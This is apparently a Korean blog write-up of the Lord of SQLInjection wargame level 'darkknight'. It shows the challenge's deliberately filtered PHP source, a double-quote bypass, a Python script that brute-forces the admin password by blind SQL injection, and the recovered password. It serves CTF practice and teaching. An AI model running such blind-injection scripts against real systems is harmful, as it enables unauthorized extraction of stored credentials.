LOS #12 darkknight
2020. 10. 28. 22:57
728x90
728x90
728x90
Lord of SQLInjection
los.rubiya.kr
Source code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
Query
select id from prob_darkknight where id='guest' and pw='' and no=
Write-up

LOS #11 golem 문제와 거의 비슷한 문제이다. 다른 점은 파라미터 no 값을 입력할 수 있다. 이전 문제들과 마찬가지로 length() 함수로 pw 값의 길이를 알아내고 right(), left() 함수로 한 글자씩 비교하여 pw 값을 알아내면 된다. 다만, single quote를 필터링하고 있기 때문에 쿼리문 상의 pw 값을 조작하기는 어렵다. 따라서 no 값에 double quote를 사용하여 새로운 id, pw 값을 전달하면 된다.
Code
#!/usr/bin/py
#-*-coding:utf-8 -*-
import requests
pw=""
for i in range(1,9):
for j in range(48,128): # ascii code로 변환할 chr() 함수로 전달할 파라미터 값
try:
url="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=1&no=1 or id like \"admin\" %26%26 right(left(pw, " + str(i) + "), 1) like\"" + chr(j) + "\""
result = requests.post(url, cookies=(dict(PHPSESSID="세션값")))
except:
print("Error...")
continue
if 'Hello admin' in result.text:
pw = pw + chr(j)
print(j)
print("pw : " + pw)
break

Parameter
pw=0b70ea1f
쿼리문은 다음과 같다.
select id from prob_darkknight where id='guest' and pw='0b70ea1f' and no=
Success

728x90
728x90
'Wargame > LOS' 카테고리의 다른 글
| LOS #14 giant (0) | 2020.10.28 |
|---|---|
| LOS #13 bugbear (0) | 2020.10.28 |
| LOS #11 golem (0) | 2020.10.28 |
| LOS #10 skeleton (0) | 2020.10.28 |
| LOS #09 vampire (0) | 2020.10.28 |